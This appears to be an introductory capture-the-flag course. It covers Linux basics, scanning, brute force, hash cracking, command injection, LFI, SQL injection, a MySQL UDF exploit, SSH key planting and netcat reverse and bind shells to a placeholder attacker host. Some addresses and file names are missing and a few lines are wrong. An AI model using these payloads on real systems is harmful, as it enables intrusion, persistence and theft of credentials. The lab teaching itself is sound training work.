ls        : display the content of the current directory
ls -l     : display the contents of the current directory, with info on file permissions
ls -l xxx : display the rights of file xxx
ls -al    : display the contents of the current directory, including hidden files
cat xxx   : display the content of file xxx
pwd       : current directory
cd xxx    : move to the xxx directory
cd .      : move to parent directory
id        : identifier of the current account and groups it belongs to
uname -a  : server information: which distribution and kernel version.

Some flags can be found in your terminal.
Start in the /home/yolo/flags directory before expanding to your entire system.
This is an opportunity to practice the commands detailed in this chapter. And since you read the manual, here is a gift: Flag_rtfm_shell

cd ~/flags

The Unix file system starts from the root: /
It usually contains the directories:

/home/xxx: one directory per user account xxx
~        : your user directory
/root    : the administrator's directory
/tmp     : temporary files
/bin     : system commands
/etc     : system configuration files
/var/log : logs of programs like the web server
/var/www : default location for web server files
/etc/passwd : users list
/etc/hosts : host names and aliases

Connections to the servers are done in ssh.
Either with a login/password

ssh user@hostname

Either with a private key file

ssh -i id_rsa user@hostname

On servers, it is common to identify yourself with a private key rather than a password. Your keys can be found in :

$ ls -al ~/.ssh
total 20
drwx------  2 yolo yolo 4096 Apr  4 13:47 .
drwxr-xr-x 27 yolo yolo 4096 Apr  4 13:22 ..
-rw-------  1 yolo yolo 2610 Apr  4 13:47 id_rsa
-rw-r--r--  1 yolo yolo  575 Apr  4 13:47
-rw-r--r--  1 yolo yolo 1998 Apr  1 19:45 known_hosts

Your private keys are in the file :


Generate a private/public key pair:
Just type [enter] to (empty for no passphrase) to generate a private key without a password. If you enter a password, your key will be encrypted, and you will have to type the password every time you use it.

$ ssh-keygen -t rsa -b 4096 -C -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in
The key fingerprint is:
The key's randomart image is:
+---[RSA 4096]----+
|     .o.   .+=o*O|
|     o.+   .Eo+=X|
|. . + = .  ..o*=*|
|oo . o . o. ...+o|
|.o .    S.   .   |
|  . . . ..       |
|     + o .       |
|    . o . .      |
|       ...       |

The private key file should only be readable by its owner.
If needed do: chmod 600 id_rsa.

vagrant@kali:/home/yolo/tmp$ ls -al
total 16
drwxrwxrwx  2 yolo      yolo   4096 Apr  4 13:24 .
drwxr-xr-x 27 yolo      yolo   4096 Apr  4 13:22 ..
-rw-------  1 yolo      yolo   3381 Apr  4 13:24 id_rsa
-rw-r--r--  1 yolo      yolo    742 Apr  4 13:24

Private key headers are easy to identify:

$ cat id_rsa

Password protected Key header:

$ cat id_rsa
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D


Public key :

$ cat
ssh-rsa AAAAB3NzaC1yc2EAAAADAQAxxxxx8/QoN3NBob3zs4l2mfZWkZNAtCHN2CpQ==

Once the password of a private key found with John, it is possible to remove it for simplicity.

openssl rsa -in [id_rsa_sec] -out [id_rsa]

The public keys to connect in ssh are listed, one key per line, in the file.


Once on a user account of a server, inject your public key to have a direct access in ssh.

echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ==' >> /home/victim/.ssh/authorized_keys

If the directory does not exist, just create it:

mkdir /home/victim/.ssh
chmod 700 /home/victim/.ssh
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ==' >> /home/victim/.ssh/authorized_keys
chmod 600 /home/victim/.ssh/authorized_keys

Close your webshell, and come back in ssh:

ssh -i id_rsa_yolo


An IP address (with IP for Internet Protocol) is an identifier, which is assigned, permanently or temporarily, to each machine connected to a computer network (PC, telephone, smart TV, connected object, ...).

IPv4 (version 4) addresses are 32-bit coded. They are generally represented in decimal notation with four numbers between 0 and 255, separated by dots. Example:

A server has as many addresses as there are network cards. Some addresses have a reserved use:

  •, called loopback designates our server.
  •, designates all the IP addresses of our server.


The first bits of the IP address specify the network number, the next bits the host number. The number of bits in the network is specified by the network mask:

  • => Network 10.10.x.x, there are 65534 IP available on this network.
  • => Network 10.10.10.x, there are 254 IP available on this network.

When we scan, we test all addresses from to

192.168.X.X/16, and 10.X.X.X/8

The 192.168.X.X/16, and 10.X.X.X/8 networks are dedicated to local networks. Such adresses should never be forwarded by routers or boxes to Internet. You must train scans and exploits ONLY on hosts on those networks.


$ ip addr

1: lo:  mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 
   loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 
   inet scope host lo 
   valid_lft forever preferred_lft forever 
73: eth1@if74:  mtu 1500 qdisc noqueue state UP group default 
   link/ether 02:42:0a:0a:0a:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0 
   inet brd scope global eth1 
   valid_lft forever preferred_lft forever 

$ ifconfig 

eth0: flags=4163  mtu 1500 
   inet  netmask  broadcast 
   ether 02:42:0a:0a:00:02  txqueuelen 0  (Ethernet) 
   RX packets 7567  bytes 573298 (559.8 KiB)
   RX errors 0  dropped 0  overruns 0  frame 0
   TX packets 7073  bytes 4046236 (3.8 MiB)
   TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163  mtu 1500
   inet  netmask  broadcast
   ether 02:42:0a:0a:0a:03  txqueuelen 0  (Ethernet)
   RX packets 15569  bytes 2618290 (2.4 MiB)
   RX errors 0  dropped 0  overruns 0  frame 0
   TX packets 20985  bytes 1976399 (1.8 MiB)
   TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Network Discovery

Use nmap to identify live hosts on network

# nmap
# nmap
# nmap    
# nmap -A          : Scan Top 1000 ports et get services versions
# nmap -sV -sC -p-  : Scan all 65535 TCP ports
# nmap -sU          : Scan UDP ports
    -sV : Attempts to determine the version of the service running on port
    -sC : Scan with default NSE scripts. Considered useful for discovery and safe
    -A  : Enables OS detection, version detection, script scanning, and traceroute
    -p- : Port scan all ports
    -sU : UDP ports (very slow)
    -oN nmap.log : output file

The three scripts can be launch in parallel in three different xterms.

Despite they can run on any port, services such as ftp, web, or ldap generally use the ports reserved for them. Port 80 for example is used by web servers for HTTP. Port 443 is the port for HTTPS.

    20: ftp data
    21: ftp control
    22: ssh
    23: telnet
    25: SMTP (mail)
    37: Time protocol
    53: Bind/DNS
    69: TFTP (Trivial FTP)
    80: HTTP
    109: POP2
    110: POP3
    111: RPC Remote Procedure Call
    137: Netbios Name Service
    138: Netbios Datagram Service
    139: Netbios Session Service
    143: IMAP (mail)
    161: SNMP
    220: IMAP
    389: LDAP
    443: HTTPS
    445: MS Active Directory, SMB
    464: Kerberos
    1521: Oracle Database
    3000: Node JS
    3306: MySQL
    69: TFTP
    161: SNMP 

The robots.txt file, when it exists, is stored at the root of a website. It contains a list of the resources of the site that are not supposed to be indexed by search engine spiders.
By convention, robots read robots.txt before indexing a website.
Its content may therefore be of interest to us.
Plus d'info :

Developers sometimes leave useful information or even passwords in code comments. These are often urls, or form fields used for testing.

Comments in the HTML or JS source code of the pagee
/* Secret code */
<!--- Secret code --->
Hidden HTML elements
<p hidden>Secret code.</p>
<label style='display: none'>Secret code.</label>

Bruteforcer a website consists in testing the presence of accessible pages, such as /register, /register.php, /admin, /upload, /users/login.txt, /admin/password.sav, ... For this there are lists of directories and filenames frequently found on web servers.

Once web server langage/framework is known (php, java, cgi / wordpress, joomla, ...), it is possible to use optimized lists, and search only the appropriate extensions.: php, php4, php5, exe, jsp, ...
It is also possible to search for files with interesting extensions. : cfg, txt, sav, jar, zip, sh, ...

Usual web brute force software :

  • dirb: Command line. To be used for a quick check, with its list 'common.txt'.
  • gobuster: Command line. To be used with the list 'directory-list-2.3-medium.txt' from dirbuster
  • dirbuster: GUI. With a Gui, but not the best choice.

It is crucial to choose the right list of directories/filenames:

  • /usr/share/wordlists/dirb/common.txt: Small well-constructed list
  • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Big list. Should covers all CTFs.
  • : Once comfortable with the two previous lists, it is possible to find more optimized lists at this address.
  • On Kali and Parrot distributions, the /usr/share/wordlists directory contains links to many lists. Take the time to look at it in detail.


Dirb is usually preinstalled on Kali or Parrot. If not:

sudo apt-get install -y dirb

Run a quick scan with dirb, which its default 'common.txt' list:



Download and install in /opt

sudo apt install p7zip-full
7z x gobuster-linux-amd64.7z
sudo cp gobuster-linux-amd64/gobuster /opt/gobuster
chmod a+x /opt/gobuster

Bruteforce, with the list 'directory-list-2.3-medium.txt', and file extensions html,php,txt:

/opt/gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  -l -x html,php,txt

For an HTTPS url, add the command line option

-k : skip HTTPS ssl verification
hydra -l admin -P /usr/share/wordlists/rockyou.txt  -f http-get /monitoring
-p login 
-P password file 
-f server adress
http-get : HTTP request type
/monitoring : url path
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form '/admin/login.php:username=^USER^&password=^PASS^:F=Wrong password:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Beware if the answer is a 302 Redirect, hydra will not follow and will generate a false positive.

hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get-form '/login.php:username=^USER^&password=^PASS^:F=Login failed:H=Cookie\: PHPSESSIONID=ms0t93n23mc2bn2512ncv1ods4' -V

Beware if the answer is a 302 Redirect, hydra will not follow and will generate a false positive.


URLs format:

Posts : /index.php?p=22
Login : /wp-login/
Uploaded files : /wp-content/uploads/%year%/%month%/%filename%

Config file and database credentials


Wpscan knows the structure of a wordpress site and will make brute force to identify the pages, the posts, the users, the theme, the plugins.
Wordpress flaws are mainly due to non-updated plugins.

wpscan --url -e
--url : wordpress url
-e : enum pages, posts, users, theme, plugins, ...

Login bruteforce

wpscan --url  -P rockyou.txt -U admin

You have found database credentials in config file. Let use mysql client to connect and dump the database.

mysql --host=HOST -u USER -p
--host xx : Server IP or name
-u xx     : login
-p        : manually enter the password.

List databases.

show databases; 

Ignore internal databases and choose the application database.
The database 'information_schema' contains internal information of mysql or mariadb. It can generally be ignored.
Select the aplication database, list tables, then dump interresting tables such as 'users'.

show tables;     


The HTTP protocol is used by web browsers to obtain documents hosted by servers.
The browser connects to a server via TCP, on port 80 by default. The minimal request contains a command (here GET), a URL (/hello.txt), an empty line.

GET /hello.txt

The answer contains the requested file.

Hello world
$ printf 'GET /hello.txt \n\r\n' | nc localhost 8001

HTTP protocol version 1.1 is optimized for complex HTML pages transferring, and allows negotiation of language and encoding formats.
The minimal request contains a command (GET), a url (/hello.txt), the version (HTTP/1.1), the Host field, an empty line.

GET /hello.txt HTTP/1.1
Host: 80

The answer contains a header, composed of many fields (server, date,...), the length of the content (here 13), and the content as text.

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15+
Date: Thu, 26 Dec 2019 17:06:12 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 13

Hello world

The headers of the answer contains lots of usefull information about the server, its version...
Here is an Apache server in version 0.8.4 that runs scripts with a php interpreter in version 7.3.13.

HTTP/1.1 200 OK
Server: Apache/0.8.4
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.13
$ printf 'GET / HTTP/1.1\r\nHost: localhost 8001\r\n\r\n' | nc localhost 8001

HTTP response codes

    1xx informational response – the request was received, continuing process
    2xx successful – the request was successfully received, understood, and accepted
        200 OK
    3xx redirection – further action needs to be taken in order to complete the request
        301 Moved Permanently => Redirection
        304 Not Modified
    4xx client error – the request contains bad syntax or cannot be fulfilled
        400 Bad request
        401 Unauthorized
        403 Forbidden
        404 Not found
    5xx server error – the server failed to fulfil an apparently valid request
        500 Internal Server Error
        502 Bad Gateway - The server was acting as a gateway or proxy and received an invalid response from the upstream server
        503 Service Unavailable - The server cannot handle the request (because it is overloaded or down for maintenance)
        504 Gateway Timeout - The server was acting as a gateway or proxy and did not receive a timely response from the upstream server.

Download a file :

$ wget http://localhost:8001/

Print the content of the file :

$ curl http://localhost:8001/

Print the HTTP headers and the content of the file :

$ curl -v http://localhost:8001/

HTTP headers are standardized and contain usefull informations.

  • Host: the target of the request.
  • Referer: Address of the web page that generated the query.
  • User-Agent: Browser used to log in.

Custom headers can be freely added. Here 'X-MyHeader: value':

GET / HTTP/1.1
Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
X-MyHeader: value

Add a custom Header with curl : -H 'header: value'

$ curl -H 'X-MyHeader: yoloforpresident' http://localhost:8001

An URI (Universal Resource Locator) specify an internet resource, followed by optional parameters.
The first parameter is identified by a ?, the following ones by a &.
. If the parameters contain a ? or a &, they are encoded as %3F and %26. This is called Percent (%) encoding.


$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

As unix shell uses the & to launch background tasks, it is imperative to put the URL between quotes '.

HTTP has basic authentication feature, based on a field containing a username and a password in clear text.
login:password is base64 encoded then added in the request header.
Authorization: Basic bG9naW46cGFzc3dvcmQ=


GET /hello.txt HTTP/1.1
Host: localhost:8001
Authorization: Basic bG9naW46cGFzc3dvcmQ=
User-Agent: curl/7.58.0
Accept: */*

Basic auth with curl:

$ curl -u login:password http://localhost:8001/hello.txt

Base64 encode login:password in shell

$ printf 'login:password' | base64

Base64 decode

$ printf 'bG9naW46cGFzc3dvcmQ=' | base64 -d

Bruteforce Basic auth with curl and rockyou password list:

for i in `cat rockyou.txt`; do printf \n$i:; curl  -u admin:$i; done

Web pages send Form fields either using GET method in the URL parameters, or POST method in the request body.

Parameter of GET requests are saved in logs files, and have limited length.
Parameter of POST requests do not appear in the logs, and are not limited in length. It is thus possible to upload large files.
These parameters are encoded with 'Percent encoding'.

POST /login.php HTTP/1.1
Content-Type: application/x-wwww-form-urlencoded
Content-Length: 24


Post a form with curl:

$ curl -X POST -F 'username=admin' -F 'password=megapassword'  http://localhost:8001/

Forms are HTML base objects, enclosed by <form> and </form> tags.
<input name='xxx'>: Text input fields
<form action='xxx': URL to send the Form to. If empty send to the current URL.

<form action="/action_page.php"> 
  First name: <input type="text" name="firstname" value="Mickey">
  Last name:  <input type="text" name="lastname" value="Mouse">
  <input type="submit" value="Submit"> 

Post a Form thanks curl:

$ curl -X POST -F 'firstname=Mickey' -F 'lastname=Mouse'

HTML Forms most often use the POST method, sometime also the GET method is used.
Paramètres are sent as request URI arguments.
When using curl in shell, dont forget to use quotes '

$ curl 'http://localhost:8001/register.php?name=jean&lastname=bon&age=42&admin=true'

It's common to procces form fields values in JavaScript before sending them to the server.
JavaScript natively makes use of JSon format to exchange structured datas.
Exemple: {key1:value1, key2:value2}.
The Content-Type header is then set to json: Content-Type: application/json


Host: localhost:8001
User-Agent: curl/7.58.0
Accept: */*
Content-Type: application/json
Content-Length: 34

{"key1":"value1", "key2":"value2"}


$ curl --header "Content-Type: application/json" -X POST --data  '{"key1":"value1", "key2":"value2"}'

Forms are often used to register, login, and upload files.
Lots of sanity checks can be done in JavaScript in the browser before the upload or on the server after the upload.
Filename and file extension, are often checked, sometime even the file header is chekced to verify wether it's an image or a php file.
A full chapter is dedicated to file upload and filter bypass.

A File field can be identified by the following HTML code

<input type=file name=fileToUpload>:

Curl command

curl -X POST -F 'fileToUpload=@./picture.jpg'

Cookies are used to store data on the browser, that will be reused at the next session.
They can contain everything: choices of language, colors, and sometimes password...

Read cookies in the server response and store them in a cookie jar.

$ curl  -c cookies.txt

Send a stored cookie, and update its value with the response

$ curl -b cookies.txt -c cookies.txt

Send a manually crafted cookie

$ curl -b 'code=1447'


When it comes to choosing a password, it always comes at the worst possible time.
And since, moreover, it is necessary to remember it... passwords are often based on simple notions: first name, brand, memory...

Fortunately, security managers impose password management policies designed to prevent these abuses...
Well, ...
In 90% of the cases, the capital letter is at the beginning of the password, the numbers and the special character at the end...
Please stop using Ferrari12$ as password...

RockYou, a California based company, made it possible to authenticate on facebook applications without having to re-enter passwords. In December 2009, it was hacked.

The database containing the unencrypted names and passwords of its 32 million customers was stolen and then made public.
An analysis of the passwords showed that two thirds of the passwords were less than 6 characters long, and that the most commonly used password was 123456.

This list of passwords, sorted by frequency is frequently used in CTF.
On Kali, the file, zipped, is stored in: /usr/share/wordlists/
In the terminal, to get into good habits, the file can be found at: /usr/share/wordlists/rockyou.txt

password list Rockyou: rockyou.txt

To find out if your email address is present in a data leak, use the Firefox Monitor service.

A professional never keeps a password.
It records a hash.

A hash is generated by a mathematical function from the user's password.
When the user enters his password, the software calculates the hash and sends it to the server which compares it with the hash it has stored. If the two hashes match, then the user knows the password, and is authenticated. If someone sniffs the messages, he won't see the password, just the Hash.
Knowing the Hash, it is complicated to retrieve the password.
To calculate a Hash of the password '123456' with the MD5 function, use the following command in the terminal :
$ printf '123456' | md5sum
123456 will always give the same MD5 Hash.

The MD5 function has been widely used in the past, but the power of today's processors requires the use of more complex functions to be cracked such as SHA1, SHA256 or SHA512.
. The size of the hash increases with the complexity of the algorithm.

printf '123456' | sha1sum

printf '123456' | sha256sum

Note: we use 'printf' and not 'echo' for a hash calculation. Echo adds a line break which is taken into account by the Hash.

Longer Hashes are more complicated to break, but it is still possible to pre-calculate them for common passwords such as the ones found in RockYou list.

To avoid the pre-calculation of Hash, we use Salts.
These are additional values that are added at the beginning of the password before calculating the Hash.
The hash check remains fast, but the pre-calculated tables become useless, they have to be recalculated for each Salt.

Compute the hash of 123456, with the Salt ABCDE, and the Hash MD5 function in python:

$ python3 -c "import crypt; print(crypt.crypt('123456', '$1$ABCDE$'))"

With openssl: -1: MD5 password, -5:SHA256 and -6:SHA512

$ openssl passwd -1 -salt ABCDE  123456

The result is : $1$ABCDE$Kn5RIMYO1QXy7GtJysNSC1
Composed by three fields $xx$xx$xx :
$1 : hash function is MD5 ($5 SHA256, $6 SHA512)
$ABCDE : Salt
$Kn5RIMYO1QXy7GtJysNSC1 : MD5 hash of 123456+salt

Use online services to crack hash:

Try: e10adc3949ba59abbe56e057f20f883e

The /etc/passwd file is a text file with each line describing a user account.
Each line consists of seven fields separated by a colon.
Here is an example of a recording:

jsmith:x:1001:1000:Joe Smith,Room 1007,(234)555-8910,(234)5550044,email:/home/jsmith:/bin/sh
  • jsmith: login name.
  • x : a x means password hash is stored in the /etc/shadow file, which is only readable by the root account. A * prevents connections from an account while keeping its username. In early versions of unix, this field contained the cryptographic hash of the user's password.
  • 1001 : UID - User ID
  • 1000 : GID - Group ID. A number, identifying the user main group.
  • Joe Smith,Room 1007,(234)555-8910,(234)5550044,email : Gecos field. A comment that describes the person or account. Usually a comma-separated set of values, providing the user's full name and contact information.
  • /home/jsmith : account home directory.
  • /bin/sh : shell program used by the user. Can be nologin.

The first lines of the file are usually system accounts.
User accounts are often described in the last lines.
This file allows to quickly identify users, applications (tomcat, mysql, www_data,...), their working directories, and whether or not they have access to a shell.


John The ripper allows to check if a hash corresponds to a password present in a list.

Save one or more hashes in hash.txt file.

$ echo 'root:$1$1337$WmteYFHyEYyx2MDVXln7Y1' >hash.txt
$ echo 'wordpressuser1:$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0' >>hash.txt

Use John the ripper to break the password using its internal password list:

$ john hash.txt

Use John the ripper to break the password using the Rockyou list:

$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt

John no longer displays passwords he has already broken.
To view these passwords:

$ john hash.txt --show 

There are several versions of John on the Internet. The Kali and Parrot distributions, install the John Community Enhanced -jumbo version. This distribution is available at

$ sudo snap install john-the-ripper
$ john
John the Ripper 1.9.0-jumbo-1 OMP [linux-gnu 64-bit 64 AVX2 AC]

Bruteforce /etc/shadows with John:

$ unshadow /etc/passwd /etc/shadow > hash.txt  
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john hash.txt --show 

Bruteforce MySQL Hash with John:

mysql -u dbuser -p drupaldb 
 show databases; 
 show tables; 
 select name, pass from users; 
 | name  | pass                                                    | 
 |       |                                                         | 
 | admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR | 
 | Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg | 
 | ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi | 

echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash.txt 
$ john hash.txt --wordlist=/etc/share/wordlists/rockyou.txt 
$ john hash.txt --show 

Bruteforce a pasword protected id_rsa id (id used for ssh connections):

RSA header:

Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25325A9B318F344B8391AFD767D6D


Let check if the password is in the Rockyou list.
$ python /usr/share/john/ id_rsa > id_rsa.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash $ john hash.txt --show

Shell commands injection

Shell command injection is possible when a program uses a data, entered by the user, without filtering it, as an argument of a shell command.

Example: You enter your name in a Web Form, your name is sent to the server then used in a shell command. The server-side code looks like:

system ('echo '.$NAME);

Instead of just entering Yolo, you enter:

 code>YOLO; cat /etc/password;

The server will chain the two commands by executing:

system ('echo YOLO; cat /etc/password;'); 

It is then possible to dump the content of the passwd file.

A command injection gives full control over the server. One can retrieve informations about the server (uname -a), account names (cat /etc/passwd), web server config files, launch a reverse shell...

Commands separators are : ; && | ||

echo YOLO; uname -a; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd    Only if the first cmd fail

To force command execution in a string let use ` $ or {

echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}

Developpers sometimes add filters to avoid command injection. For exemple, they could filter Spaces. Hopefully, even without spaces it's still possible to launch shell commands:


A keyword based filter is easy to bypass using simple quote, double quote, backslash et slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd

In case the file '/etc/passwd' is filtered, just add /

c\at /etc////////passwd

Local File Inclusion (LFI)


Many programming languages, such as php, are able to read files and process them to generate dynamic HTML pages.
This feature can be hijacked by user crafted variable.

For exemple:
The URI is sent to the server. The server receive the request extract the page field 'login.php' and process this file to generate the HTML login page.

Let replace 'login.php' by another file such as '/etc/passwd', that will be processed by php.

Php commands are enclosed between <?php and ?> tags. When parsing a file without those tags, php simply print the file content.

Apache web server working directory is usually /var/www/html.
Setting page=/etc/passwd, the server tries to open the file /var/www/html/etc/passwd.
Let add /../ to the path to reach the upper directory.

/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.

We can add as many ../../../../../ as we want, we can't go upper than /.
/var/www/html/../../../../../../../ => /, regardless of the number of ../

An LFI can read/execute ALL files, the web server account is allowed to read.

The server extracts 'page' parameter from request, and appends an extension such as '.php' before including it. tries without succes to open /etc/password.php.

On php version older than 5.3.4, adding a null byte at the end of our parameter will mean the end of the string, and leads to ignoring the extension '.php'.
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Developers, who are aware of the risks of LFI, sometime add functions that will filter the entries.
They detect and remove the ../ and the / in the filename
. This kind of filter is called a Waf: Web Application Filter.

It is possible to bypass these filters in several ways:

Browsers could interpret the encoded characters or even re-encode them. It is usually better to set the desired URL thanks to a curl command or modify/replay using an HTTP proxy.

Php allows to pass files through filters before opening them. It is thus possible to encode a file in base64 before opening it. 

It only remains to decode base64 to get the source code of the file.

Php allows to read the content of the HTTP request as a file. It is thus possible to read and execute the raw content of the data in POST with php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input

Only works if the option allow_url_include = On is active in the php config. This option is disabled by default.

To inject a Php payload in the log file of a server, just send an HTTP GET request containing php code in the url.
For an ssh or ftp server, inject the payload in login. Use then an LFI on the log file to trigger the payload.

Usual log files locations:



Log files location can be found in webservers config files:
Nginx: /etc/nginx/nginx.conf
Look for : access_log /spool/logs/nginx-access.log


Inject SQL commands in the parameters to rewrite the SQL query.

SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';

Method : close the single quote ', whiden the SELECT with OR 1=1, add entries thanks to UNION, comment the end of the request with # or -- -

Sent parameters:
USER=admin' OR 1=1 -- -

Altered SQL request:
SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='ferrari';

Send the Form with custom params thanks to curl:

curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=ferrari

Connect to a remote mysql database:

mysql -u admin --host= : without password
mysql -u admin --host= -padmin : with password

Usefull commands:

SELECT @@version;
SELECT user();
SHOW Databases;
USE database;
SHOW tables;
SELECT * from table;

Inject single quote ' or double quote " and see an error.
Inject Sleep and detect a delayed response.

admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1

A polyglot is a sequence working for many different scenarios

a/*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"`

Usually developers take the first entry. But sometimes they check that there is only one.

admin' or 1=1 LIMIT 1 -- -

Sometime, SQLi aware developpers filter characters such as space or words such as OR:

Space => Tab %09, Newline %A0, /**/
AND   => && %26%26
OR    => ||

When the query is used to display entries (e.g. list of objects), values can be added with a UNION.
. First, you need to identify the number of entries used by SELECT:

SELECT id, name, desc, price FROM stock WHERE name=[NAME]

Methode 1: ORDER BY

SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 3-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 4-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 5-- - : Error
=> 4 entries

Methode 2: SELECT

SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Error
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entries
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -  
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE  table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -

SQLi on GET parameter:

$ sqlmap -u '' --dbs --banner

SQLi on POST parameter:
Intercept the request using Burp, and save it in login.txt file.

$ sqlmap -r login.txt --dbs --banner
  -p name : parameter to be tested

List tables, then dumper une table:

$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump

Compile a unix library containing the function sys_exec()
Uploader the .so file onto the server. Declare the function in MySQL. Now it's possible to use sys_exec() to run shell commands.

# Tested with : mysql 5.5.60-0+deb8u1
# Create a 'User Defined Function' calling C function 'system'
# Use pre-compiled 32 or 64 depending on target.
# Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/
create function sys_exec returns int soname '';
select sys_exec('nc 4444 -e /bin/bash');

select sys_exec('/bin/sh');
after bash access, 'bash –p' or 'sudo su'

Web Shell

You have found a web request that allows you to execute commands on the server, or you have managed to find out how to upload a file that can be executed.
Your goal now is to get a shell on the machine, which will allow a comfortable exploitation.
You will use the tools installed on the server (netcat, bash, php, python, perl, ...) to open a shell on the server and connect it back to your host.

Netcat, is the Swiss army knife of connections between servers.
It can listen, connect and launch shells.

Older versions had the -e or -c option to launch a shell. Recent versions do not have this option anymore for security reasons.
On Kali there is a version 1.10 in :

/usr/bin/nc -h
    -e shell commands : program to execute
    -c shell commands : program to execute
    -l                : listen mode
    -v                : verbose
    -p port           : local port number

On your host, start a nc listening on 4444 port

nc -lvp 4444

On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.

nc -e /bin/sh IPKALI 4444

To use a reverse shell you must have a public IP, and can't use a NAT. Well, you can, its just little bit trickier.

On your host, start a nc listening on 4444 port

nc -lvp 4444

On the target host, start a reverse shell. This reverse shell launch a shell and connect it to your host on 4444 port.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f

The shell obtained with nc is basic. It is not a tty (real terminal).
Some commands like su will refuse to work.
To upgrade our shell, use python to get a tty shell:

python -c 'import pty; pty.spawn("/bin/bash")'

The shell obtained with nc is basic. The completion with Tab, the history with arrows are not managed.

Put the nc in the background with:


Then ask the current shell to pass the raw keystroke codes to the remote shell, and switch back to the netcat (foreground)

stty raw -echo

Disclamer: Trying this in a browser will just freeze the shell. The browser also modifies the key codes. It only works in a VM

As long as your nc is connected, you block a thread of the web server. Depending on the configuration of the server, it can have 6, 16, 32 threads... This means as many nc in parallel before saturation. To free the server for friends: In the connected nc, choose a second port and launch a second netcat bindshell in the background:

nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &

reverse shell: nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &

The nohup command will detach the nc process from the current shell. Do a Ctrl-C to cut the nc connection, the page with your webshell will be freed. Another user can connect. Launch a new nc to connect to this new bindshell.

A bind shell is useful when our host is behind a NAT. This shell is fragile, a port scan will trigger it and close it. Launch a shell, open a listening TCP socket on port 4444, and give access to the shell to the first one who connects.

nc -e /bin/sh -lvp 4444

Connect to the nc on the target and get the shell:

nc iptarget 4444

Launch a bind shel on the target host

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f

Then connect to it

nc victim 4444

Socat is a nc on steroids. It allows authentication, encryption of communications and port forwarding.
It is rarely found on the servers, it must be uploaded.
Start a listening socat:

